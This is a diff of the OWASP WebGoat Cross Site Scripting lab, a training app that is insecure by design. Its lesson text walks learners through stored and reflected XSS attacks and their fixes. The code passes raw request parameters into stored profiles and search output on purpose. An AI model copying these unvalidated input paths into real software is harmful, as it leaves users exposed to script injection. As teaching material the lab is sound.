" + + " THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

" + + "Implement a fix to block the stored XSS before it can be written to the database. " + + "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack."; + } + else if (STAGE3.equals(stage)) + { + instructions = "Stage 3: Execute a previously Stored Cross Site Scripting (XSS) attack.
" + + "The 'Bruce' employee profile is pre-loaded with a stored XSS attack. " + + "Verify that 'David' is affected by the attack even though the fix from stage 2 is in place."; + } + else if (STAGE4.equals(stage)) + { + instructions = "Stage 4: Block Stored XSS using Output Encoding.

" + + " THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

" + + "Implement a fix to block XSS after it is read from the database. " + + "Repeat stage 3. Verify that 'David' is not affected by Bruce's profile attack."; + } + else if (STAGE5.equals(stage)) + { + instructions = "Stage 5: Execute a Reflected XSS attack.
" + + "Use a vulnerability on the Search Staff page to craft a URL containing a reflected XSS attack. " + + "Verify that another employee using the link is affected by the attack."; + } + else if (STAGE6.equals(stage)) + { + instructions = "Stage 6: Block Reflected XSS using Input Validation.

" + + " THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

" + + "Implement a fix to block this reflected XSS attack. " + + "Repeat step 5. Verify that the attack URL is no longer effective."; + } + } - return instructions; + return instructions; - } + } - @Override - public String[] getStages() - { - if (getWebgoatContext().isCodingExercises()) - return new String[] { STAGE1, STAGE2, STAGE3, STAGE4, STAGE5, STAGE6 }; - return new String[] { STAGE1, STAGE3, STAGE5 }; - } + @Override + public String[] getStages() + { + if (getWebgoatContext().isCodingExercises()) + return new String[] { STAGE1, STAGE2, STAGE3, STAGE4, STAGE5, STAGE6 }; + return new String[] { STAGE1, STAGE3, STAGE5 }; + } - public void handleRequest(WebSession s) - { - if (s.getLessonSession(this) == null) s.openLessonSession(this); + public void handleRequest(WebSession s) + { + if (s.getLessonSession(this) == null) s.openLessonSession(this); - String requestedActionName = null; - try - { - requestedActionName = s.getParser().getStringParameter("action"); - } catch (ParameterNotFoundException pnfe) - { - // Let them eat login page. - requestedActionName = LOGIN_ACTION; - } + String requestedActionName = null; + try + { + requestedActionName = s.getParser().getStringParameter("action"); + } catch (ParameterNotFoundException pnfe) + { + // Let them eat login page. + requestedActionName = LOGIN_ACTION; + } - if (requestedActionName != null) - { - try - { - LessonAction action = getAction(requestedActionName); + if (requestedActionName != null) + { + try + { + LessonAction action = getAction(requestedActionName); - if (action != null) - { - if (!action.requiresAuthentication() || action.isAuthenticated(s)) - { - action.handleRequest(s); - // setCurrentAction(s, action.getNextPage(s)); - } - } - else - { - setCurrentAction(s, ERROR_ACTION); - } - } catch (ParameterNotFoundException pnfe) - { - // System.out.println("Missing parameter"); - pnfe.printStackTrace(); - setCurrentAction(s, ERROR_ACTION); - } catch (ValidationException ve) - { - // System.out.println("Validation failed"); - ve.printStackTrace(); - setCurrentAction(s, ERROR_ACTION); - } catch (UnauthenticatedException ue) - { - s.setMessage("Login failed"); - // System.out.println("Authentication failure"); - ue.printStackTrace(); - } catch (UnauthorizedException ue2) - { - s.setMessage("You are not authorized to perform this function"); - // System.out.println("Authorization failure"); - ue2.printStackTrace(); - } catch (Exception e) - { - // All other errors send the user to the generic error page - // System.out.println("handleRequest() error"); - e.printStackTrace(); - setCurrentAction(s, ERROR_ACTION); - } - } + if (action != null) + { + if (!action.requiresAuthentication() || action.isAuthenticated(s)) + { + action.handleRequest(s); + // setCurrentAction(s, action.getNextPage(s)); + } + } + else + { + setCurrentAction(s, ERROR_ACTION); + } + } catch (ParameterNotFoundException pnfe) + { + // System.out.println("Missing parameter"); + pnfe.printStackTrace(); + setCurrentAction(s, ERROR_ACTION); + } catch (ValidationException ve) + { + // System.out.println("Validation failed"); + ve.printStackTrace(); + setCurrentAction(s, ERROR_ACTION); + } catch (UnauthenticatedException ue) + { + s.setMessage("Login failed"); + // System.out.println("Authentication failure"); + ue.printStackTrace(); + } catch (UnauthorizedException ue2) + { + s.setMessage("You are not authorized to perform this function"); + // System.out.println("Authorization failure"); + ue2.printStackTrace(); + } catch (Exception e) + { + // All other errors send the user to the generic error page + // System.out.println("handleRequest() error"); + e.printStackTrace(); + setCurrentAction(s, ERROR_ACTION); + } + } - // All this does for this lesson is ensure that a non-null content exists. - setContent(new ElementContainer()); - } + // All this does for this lesson is ensure that a non-null content exists. + setContent(new ElementContainer()); + } - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - /** - * Gets the title attribute of the CrossSiteScripting object - * - * @return The title value - */ - public String getTitle() - { - return "LAB: Cross Site Scripting"; - } + /** + * Gets the title attribute of the CrossSiteScripting object + * + * @return The title value + */ + public String getTitle() + { + return "LAB: Cross Site Scripting"; + } - public String htmlEncode(WebSession s, String text) - { - if (STAGE4.equals(getStage(s)) && text.indexOf("") > -1) - { - setStageComplete(s, STAGE4); - s.setMessage("Welcome to stage 5 -- exploiting the data layer"); - } + public String htmlEncode(WebSession s, String text) + { + if (STAGE4.equals(getStage(s)) && text.indexOf("") > -1) + { + setStageComplete(s, STAGE4); + s.setMessage("Welcome to stage 5 -- exploiting the data layer"); + } - return HtmlEncoder.encode(text); - } + return HtmlEncoder.encode(text); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/CrossSiteScripting/EditProfile.java b/src/main/java/org/owasp/webgoat/lessons/CrossSiteScripting/EditProfile.java index a1750fa54..83087281b 100644 --- a/src/main/java/org/owasp/webgoat/lessons/CrossSiteScripting/EditProfile.java +++ b/src/main/java/org/owasp/webgoat/lessons/CrossSiteScripting/EditProfile.java @@ -43,119 +43,119 @@ import org.owasp.webgoat.session.WebSession; public class EditProfile extends DefaultLessonAction { - public EditProfile(GoatHillsFinancial lesson, String lessonName, String actionName) - { - super(lesson, lessonName, actionName); - } + public EditProfile(GoatHillsFinancial lesson, String lessonName, String actionName) + { + super(lesson, lessonName, actionName); + } - public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, - UnauthorizedException - { - getLesson().setCurrentAction(s, getActionName()); + public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, + UnauthorizedException + { + getLesson().setCurrentAction(s, getActionName()); - if (isAuthenticated(s)) - { - int userId = getUserId(s); - int employeeId = s.getParser().getIntParameter(CrossSiteScripting.EMPLOYEE_ID); + if (isAuthenticated(s)) + { + int userId = getUserId(s); + int employeeId = s.getParser().getIntParameter(CrossSiteScripting.EMPLOYEE_ID); - Employee employee = getEmployeeProfile(s, userId, employeeId); - setSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee); - } - else - throw new UnauthenticatedException(); - } + Employee employee = getEmployeeProfile(s, userId, employeeId); + setSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee); + } + else + throw new UnauthenticatedException(); + } - public String getNextPage(WebSession s) - { - return CrossSiteScripting.EDITPROFILE_ACTION; - } + public String getNextPage(WebSession s) + { + return CrossSiteScripting.EDITPROFILE_ACTION; + } - public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException - { - Employee profile = null; + public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException + { + Employee profile = null; - // Query the database for the profile data of the given employee - try - { - String query = "SELECT * FROM employee WHERE userid = ?"; + // Query the database for the profile data of the given employee + try + { + String query = "SELECT * FROM employee WHERE userid = ?"; - try - { - PreparedStatement answer_statement = WebSession.getConnection(s) - .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - answer_statement.setInt(1, subjectUserId); - ResultSet answer_results = answer_statement.executeQuery(); - if (answer_results.next()) - { - // Note: Do NOT get the password field. - profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), - answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results - .getString("title"), answer_results.getString("phone"), answer_results - .getString("address1"), answer_results.getString("address2"), answer_results - .getInt("manager"), answer_results.getString("start_date"), answer_results - .getInt("salary"), answer_results.getString("ccn"), answer_results - .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results - .getString("disciplined_notes"), answer_results.getString("personal_description")); - /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + - * " " + profile.getLastName() + " (" + profile.getId() + ")"); - */} - } catch (SQLException sqle) - { - s.setMessage("Error getting employee profile"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error getting employee profile"); - e.printStackTrace(); - } + try + { + PreparedStatement answer_statement = WebSession.getConnection(s) + .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + answer_statement.setInt(1, subjectUserId); + ResultSet answer_results = answer_statement.executeQuery(); + if (answer_results.next()) + { + // Note: Do NOT get the password field. + profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), + answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results + .getString("title"), answer_results.getString("phone"), answer_results + .getString("address1"), answer_results.getString("address2"), answer_results + .getInt("manager"), answer_results.getString("start_date"), answer_results + .getInt("salary"), answer_results.getString("ccn"), answer_results + .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results + .getString("disciplined_notes"), answer_results.getString("personal_description")); + /* + * System.out.println("Retrieved employee from db: " + profile.getFirstName() + + * " " + profile.getLastName() + " (" + profile.getId() + ")"); + */} + } catch (SQLException sqle) + { + s.setMessage("Error getting employee profile"); + sqle.printStackTrace(); + } + } catch (Exception e) + { + s.setMessage("Error getting employee profile"); + e.printStackTrace(); + } - return profile; - } + return profile; + } - public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException - { - Employee profile = null; + public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException + { + Employee profile = null; - // Query the database for the profile data of the given employee - try - { - String query = "SELECT * FROM employee WHERE userid = ?"; + // Query the database for the profile data of the given employee + try + { + String query = "SELECT * FROM employee WHERE userid = ?"; - try - { - PreparedStatement answer_statement = WebSession.getConnection(s) - .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - answer_statement.setInt(1, subjectUserId); - ResultSet answer_results = answer_statement.executeQuery(); - if (answer_results.next()) - { - // Note: Do NOT get the password field. - profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), - answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results - .getString("title"), answer_results.getString("phone"), answer_results - .getString("address1"), answer_results.getString("address2"), answer_results - .getInt("manager"), answer_results.getString("start_date"), answer_results - .getInt("salary"), answer_results.getString("ccn"), answer_results - .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results - .getString("disciplined_notes"), answer_results.getString("personal_description")); - /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + - * " " + profile.getLastName() + " (" + profile.getId() + ")"); - */} - } catch (SQLException sqle) - { - s.setMessage("Error getting employee profile"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error getting employee profile"); - e.printStackTrace(); - } + try + { + PreparedStatement answer_statement = WebSession.getConnection(s) + .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + answer_statement.setInt(1, subjectUserId); + ResultSet answer_results = answer_statement.executeQuery(); + if (answer_results.next()) + { + // Note: Do NOT get the password field. + profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), + answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results + .getString("title"), answer_results.getString("phone"), answer_results + .getString("address1"), answer_results.getString("address2"), answer_results + .getInt("manager"), answer_results.getString("start_date"), answer_results + .getInt("salary"), answer_results.getString("ccn"), answer_results + .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results + .getString("disciplined_notes"), answer_results.getString("personal_description")); + /* + * System.out.println("Retrieved employee from db: " + profile.getFirstName() + + * " " + profile.getLastName() + " (" + profile.getId() + ")"); + */} + } catch (SQLException sqle) + { + s.setMessage("Error getting employee profile"); + sqle.printStackTrace(); + } + } catch (Exception e) + { + s.setMessage("Error getting employee profile"); + e.printStackTrace(); + } - return profile; - } + return profile; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/CrossSiteScripting/FindProfile.java b/src/main/java/org/owasp/webgoat/lessons/CrossSiteScripting/FindProfile.java index 2036fa36b..44bca0a16 100644 --- a/src/main/java/org/owasp/webgoat/lessons/CrossSiteScripting/FindProfile.java +++ b/src/main/java/org/owasp/webgoat/lessons/CrossSiteScripting/FindProfile.java @@ -49,172 +49,172 @@ import org.owasp.webgoat.session.WebSession; public class FindProfile extends DefaultLessonAction { - private LessonAction chainedAction; + private LessonAction chainedAction; - public FindProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) - { - super(lesson, lessonName, actionName); - this.chainedAction = chainedAction; - } + public FindProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) + { + super(lesson, lessonName, actionName); + this.chainedAction = chainedAction; + } - public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, - UnauthorizedException, ValidationException - { - if (isAuthenticated(s)) - { - int userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID); + public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, + UnauthorizedException, ValidationException + { + if (isAuthenticated(s)) + { + int userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID); - String searchName = null; - try - { - searchName = getRequestParameter(s, CrossSiteScripting.SEARCHNAME); + String searchName = null; + try + { + searchName = getRequestParameter(s, CrossSiteScripting.SEARCHNAME); - Employee employee = null; + Employee employee = null; - employee = findEmployeeProfile(s, userId, searchName); - if (employee == null) - { - setSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.SEARCHRESULT_ATTRIBUTE_KEY, - "Employee " + searchName + " not found."); - } - } catch (ValidationException e) - { - if (CrossSiteScripting.STAGE6.equals(getStage(s))) - { - setStageComplete(s, CrossSiteScripting.STAGE6); - } - throw e; - } + employee = findEmployeeProfile(s, userId, searchName); + if (employee == null) + { + setSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.SEARCHRESULT_ATTRIBUTE_KEY, + "Employee " + searchName + " not found."); + } + } catch (ValidationException e) + { + if (CrossSiteScripting.STAGE6.equals(getStage(s))) + { + setStageComplete(s, CrossSiteScripting.STAGE6); + } + throw e; + } - if (CrossSiteScripting.STAGE5.equals(getStage(s))) - { - if (searchName.indexOf("") > -1) - { - setStageComplete(s, CrossSiteScripting.STAGE5); - } - } + if (CrossSiteScripting.STAGE5.equals(getStage(s))) + { + if (searchName.indexOf("") > -1) + { + setStageComplete(s, CrossSiteScripting.STAGE5); + } + } - // Execute the chained Action if the employee was found. - if (foundEmployee(s)) - { - try - { - chainedAction.handleRequest(s); - } catch (UnauthenticatedException ue1) - { - // System.out.println("Internal server error"); - ue1.printStackTrace(); - } catch (UnauthorizedException ue2) - { - // System.out.println("Internal server error"); - ue2.printStackTrace(); - } - } - } - else - throw new UnauthenticatedException(); - } + // Execute the chained Action if the employee was found. + if (foundEmployee(s)) + { + try + { + chainedAction.handleRequest(s); + } catch (UnauthenticatedException ue1) + { + // System.out.println("Internal server error"); + ue1.printStackTrace(); + } catch (UnauthorizedException ue2) + { + // System.out.println("Internal server error"); + ue2.printStackTrace(); + } + } + } + else + throw new UnauthenticatedException(); + } - public String getNextPage(WebSession s) - { - String page = CrossSiteScripting.SEARCHSTAFF_ACTION; + public String getNextPage(WebSession s) + { + String page = CrossSiteScripting.SEARCHSTAFF_ACTION; - if (foundEmployee(s)) page = CrossSiteScripting.VIEWPROFILE_ACTION; + if (foundEmployee(s)) page = CrossSiteScripting.VIEWPROFILE_ACTION; - return page; - } + return page; + } - protected String getRequestParameter(WebSession s, String name) throws ParameterNotFoundException, - ValidationException - { + protected String getRequestParameter(WebSession s, String name) throws ParameterNotFoundException, + ValidationException + { - return s.getParser().getRawParameter(name); - } + return s.getParser().getRawParameter(name); + } - protected String getRequestParameter_BACKUP(WebSession s, String name) throws ParameterNotFoundException, - ValidationException - { - return s.getParser().getRawParameter(name); - } + protected String getRequestParameter_BACKUP(WebSession s, String name) throws ParameterNotFoundException, + ValidationException + { + return s.getParser().getRawParameter(name); + } - public Employee findEmployeeProfile(WebSession s, int userId, String pattern) throws UnauthorizedException - { - Employee profile = null; + public Employee findEmployeeProfile(WebSession s, int userId, String pattern) throws UnauthorizedException + { + Employee profile = null; - // Query the database for the profile data of the given employee - try - { - String query = "SELECT * FROM employee WHERE first_name like ? OR last_name like ?"; + // Query the database for the profile data of the given employee + try + { + String query = "SELECT * FROM employee WHERE first_name like ? OR last_name like ?"; - try - { - PreparedStatement answer_statement = WebSession.getConnection(s) - .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - answer_statement.setString(1, "%" + pattern + "%"); - answer_statement.setString(2, "%" + pattern + "%"); - ResultSet answer_results = answer_statement.executeQuery(); + try + { + PreparedStatement answer_statement = WebSession.getConnection(s) + .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + answer_statement.setString(1, "%" + pattern + "%"); + answer_statement.setString(2, "%" + pattern + "%"); + ResultSet answer_results = answer_statement.executeQuery(); - // Just use the first hit. - if (answer_results.next()) - { - int id = answer_results.getInt("userid"); - // Note: Do NOT get the password field. - profile = new Employee(id, answer_results.getString("first_name"), answer_results - .getString("last_name"), answer_results.getString("ssn"), - answer_results.getString("title"), answer_results.getString("phone"), answer_results - .getString("address1"), answer_results.getString("address2"), answer_results - .getInt("manager"), answer_results.getString("start_date"), answer_results - .getInt("salary"), answer_results.getString("ccn"), answer_results - .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results - .getString("disciplined_notes"), answer_results.getString("personal_description")); + // Just use the first hit. + if (answer_results.next()) + { + int id = answer_results.getInt("userid"); + // Note: Do NOT get the password field. + profile = new Employee(id, answer_results.getString("first_name"), answer_results + .getString("last_name"), answer_results.getString("ssn"), + answer_results.getString("title"), answer_results.getString("phone"), answer_results + .getString("address1"), answer_results.getString("address2"), answer_results + .getInt("manager"), answer_results.getString("start_date"), answer_results + .getInt("salary"), answer_results.getString("ccn"), answer_results + .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results + .getString("disciplined_notes"), answer_results.getString("personal_description")); - /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + - * " " + profile.getLastName() + " (" + profile.getId() + ")"); - */ - setRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID, Integer.toString(id)); - } - } catch (SQLException sqle) - { - s.setMessage("Error finding employee profile"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error finding employee profile"); - e.printStackTrace(); - } + /* + * System.out.println("Retrieved employee from db: " + profile.getFirstName() + + * " " + profile.getLastName() + " (" + profile.getId() + ")"); + */ + setRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID, Integer.toString(id)); + } + } catch (SQLException sqle) + { + s.setMessage("Error finding employee profile"); + sqle.printStackTrace(); + } + } catch (Exception e) + { + s.setMessage("Error finding employee profile"); + e.printStackTrace(); + } - return profile; - } + return profile; + } - private boolean foundEmployee(WebSession s) - { - boolean found = false; - try - { - getIntRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID); - found = true; - } catch (ParameterNotFoundException e) - { - } + private boolean foundEmployee(WebSession s) + { + boolean found = false; + try + { + getIntRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID); + found = true; + } catch (ParameterNotFoundException e) + { + } - return found; - } + return found; + } - protected String validate(final String parameter, final Pattern pattern) throws ValidationException - { - Matcher matcher = pattern.matcher(parameter); - if (!matcher.matches()) throw new ValidationException(); + protected String validate(final String parameter, final Pattern pattern) throws ValidationException + { + Matcher matcher = pattern.matcher(parameter); + if (!matcher.matches()) throw new ValidationException(); - return parameter; - } + return parameter; + } - protected static Map patterns = new HashMap(); - static - { - patterns.put(CrossSiteScripting.SEARCHNAME, Pattern.compile("[a-zA-Z ]{0,20}")); - } + protected static Map patterns = new HashMap(); + static + { + patterns.put(CrossSiteScripting.SEARCHNAME, Pattern.compile("[a-zA-Z ]{0,20}")); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/CrossSiteScripting/UpdateProfile.java b/src/main/java/org/owasp/webgoat/lessons/CrossSiteScripting/UpdateProfile.java index fae8154ab..489a984fe 100644 --- a/src/main/java/org/owasp/webgoat/lessons/CrossSiteScripting/UpdateProfile.java +++ b/src/main/java/org/owasp/webgoat/lessons/CrossSiteScripting/UpdateProfile.java @@ -50,335 +50,335 @@ import org.owasp.webgoat.session.WebSession; public class UpdateProfile extends DefaultLessonAction { - private LessonAction chainedAction; + private LessonAction chainedAction; - public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) - { - super(lesson, lessonName, actionName); - this.chainedAction = chainedAction; - } + public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) + { + super(lesson, lessonName, actionName); + this.chainedAction = chainedAction; + } - public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, - UnauthorizedException, ValidationException - { - if (isAuthenticated(s)) - { - int userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID); + public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, + UnauthorizedException, ValidationException + { + if (isAuthenticated(s)) + { + int userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID); - int subjectId = s.getParser().getIntParameter(CrossSiteScripting.EMPLOYEE_ID, 0); + int subjectId = s.getParser().getIntParameter(CrossSiteScripting.EMPLOYEE_ID, 0); - Employee employee = null; - try - { - employee = parseEmployeeProfile(subjectId, s); - } catch (ValidationException e) - { - if (CrossSiteScripting.STAGE2.equals(getStage(s))) - { - setStageComplete(s, CrossSiteScripting.STAGE2); - } - throw e; - } + Employee employee = null; + try + { + employee = parseEmployeeProfile(subjectId, s); + } catch (ValidationException e) + { + if (CrossSiteScripting.STAGE2.equals(getStage(s))) + { + setStageComplete(s, CrossSiteScripting.STAGE2); + } + throw e; + } - if (subjectId > 0) - { - this.changeEmployeeProfile(s, userId, subjectId, employee); - setRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID, Integer - .toString(subjectId)); - } - else - this.createEmployeeProfile(s, userId, employee); + if (subjectId > 0) + { + this.changeEmployeeProfile(s, userId, subjectId, employee); + setRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID, Integer + .toString(subjectId)); + } + else + this.createEmployeeProfile(s, userId, employee); - try - { - chainedAction.handleRequest(s); - } catch (UnauthenticatedException ue1) - { - // System.out.println("Internal server error"); - ue1.printStackTrace(); - } catch (UnauthorizedException ue2) - { - // System.out.println("Internal server error"); - ue2.printStackTrace(); - } - } - else - throw new UnauthenticatedException(); - } + try + { + chainedAction.handleRequest(s); + } catch (UnauthenticatedException ue1) + { + // System.out.println("Internal server error"); + ue1.printStackTrace(); + } catch (UnauthorizedException ue2) + { + // System.out.println("Internal server error"); + ue2.printStackTrace(); + } + } + else + throw new UnauthenticatedException(); + } - protected Employee parseEmployeeProfile(int subjectId, WebSession s) throws ParameterNotFoundException, - ValidationException - { - // The input validation can be added using a parsing component - // or by using an inline regular expression. The parsing component - // is the better solution. + protected Employee parseEmployeeProfile(int subjectId, WebSession s) throws ParameterNotFoundException, + ValidationException + { + // The input validation can be added using a parsing component + // or by using an inline regular expression. The parsing component + // is the better solution. - HttpServletRequest request = s.getRequest(); - String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME); - String lastName = request.getParameter(CrossSiteScripting.LAST_NAME); - String ssn = request.getParameter(CrossSiteScripting.SSN); - String title = request.getParameter(CrossSiteScripting.TITLE); - String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER); - String address1 = request.getParameter(CrossSiteScripting.ADDRESS1); - String address2 = request.getParameter(CrossSiteScripting.ADDRESS2); - int manager = Integer.parseInt(request.getParameter(CrossSiteScripting.MANAGER)); - String startDate = request.getParameter(CrossSiteScripting.START_DATE); - int salary = Integer.parseInt(request.getParameter(CrossSiteScripting.SALARY)); - String ccn = request.getParameter(CrossSiteScripting.CCN); - int ccnLimit = Integer.parseInt(request.getParameter(CrossSiteScripting.CCN_LIMIT)); - String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE); - String disciplinaryActionNotes = request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES); - String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION); + HttpServletRequest request = s.getRequest(); + String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME); + String lastName = request.getParameter(CrossSiteScripting.LAST_NAME); + String ssn = request.getParameter(CrossSiteScripting.SSN); + String title = request.getParameter(CrossSiteScripting.TITLE); + String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER); + String address1 = request.getParameter(CrossSiteScripting.ADDRESS1); + String address2 = request.getParameter(CrossSiteScripting.ADDRESS2); + int manager = Integer.parseInt(request.getParameter(CrossSiteScripting.MANAGER)); + String startDate = request.getParameter(CrossSiteScripting.START_DATE); + int salary = Integer.parseInt(request.getParameter(CrossSiteScripting.SALARY)); + String ccn = request.getParameter(CrossSiteScripting.CCN); + int ccnLimit = Integer.parseInt(request.getParameter(CrossSiteScripting.CCN_LIMIT)); + String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE); + String disciplinaryActionNotes = request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES); + String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION); - Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2, - manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes, - personalDescription); + Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2, + manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes, + personalDescription); - return employee; - } + return employee; + } - protected Employee parseEmployeeProfile_BACKUP(int subjectId, WebSession s) throws ParameterNotFoundException, - ValidationException - { - // The input validation can be added using a parsing component - // or by using an inline regular expression. The parsing component - // is the better solution. + protected Employee parseEmployeeProfile_BACKUP(int subjectId, WebSession s) throws ParameterNotFoundException, + ValidationException + { + // The input validation can be added using a parsing component + // or by using an inline regular expression. The parsing component + // is the better solution. - HttpServletRequest request = s.getRequest(); - String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME); - String lastName = request.getParameter(CrossSiteScripting.LAST_NAME); - String ssn = request.getParameter(CrossSiteScripting.SSN); - String title = request.getParameter(CrossSiteScripting.TITLE); - String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER); - String address1 = request.getParameter(CrossSiteScripting.ADDRESS1); - String address2 = request.getParameter(CrossSiteScripting.ADDRESS2); - int manager = Integer.parseInt(request.getParameter(CrossSiteScripting.MANAGER)); - String startDate = request.getParameter(CrossSiteScripting.START_DATE); - int salary = Integer.parseInt(request.getParameter(CrossSiteScripting.SALARY)); - String ccn = request.getParameter(CrossSiteScripting.CCN); - int ccnLimit = Integer.parseInt(request.getParameter(CrossSiteScripting.CCN_LIMIT)); - String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE); - String disciplinaryActionNotes = request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES); - String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION); + HttpServletRequest request = s.getRequest(); + String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME); + String lastName = request.getParameter(CrossSiteScripting.LAST_NAME); + String ssn = request.getParameter(CrossSiteScripting.SSN); + String title = request.getParameter(CrossSiteScripting.TITLE); + String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER); + String address1 = request.getParameter(CrossSiteScripting.ADDRESS1); + String address2 = request.getParameter(CrossSiteScripting.ADDRESS2); + int manager = Integer.parseInt(request.getParameter(CrossSiteScripting.MANAGER)); + String startDate = request.getParameter(CrossSiteScripting.START_DATE); + int salary = Integer.parseInt(request.getParameter(CrossSiteScripting.SALARY)); + String ccn = request.getParameter(CrossSiteScripting.CCN); + int ccnLimit = Integer.parseInt(request.getParameter(CrossSiteScripting.CCN_LIMIT)); + String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE); + String disciplinaryActionNotes = request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES); + String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION); - Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2, - manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes, - personalDescription); + Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2, + manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes, + personalDescription); - return employee; - } + return employee; + } - protected Employee doParseEmployeeProfile(int subjectId, ParameterParser parser) throws ParameterNotFoundException, - ValidationException - { - // Fix this method using the org.owasp.webgoat.session.ParameterParser class - return null; - } + protected Employee doParseEmployeeProfile(int subjectId, ParameterParser parser) throws ParameterNotFoundException, + ValidationException + { + // Fix this method using the org.owasp.webgoat.session.ParameterParser class + return null; + } - public String getNextPage(WebSession s) - { - return CrossSiteScripting.VIEWPROFILE_ACTION; - } + public String 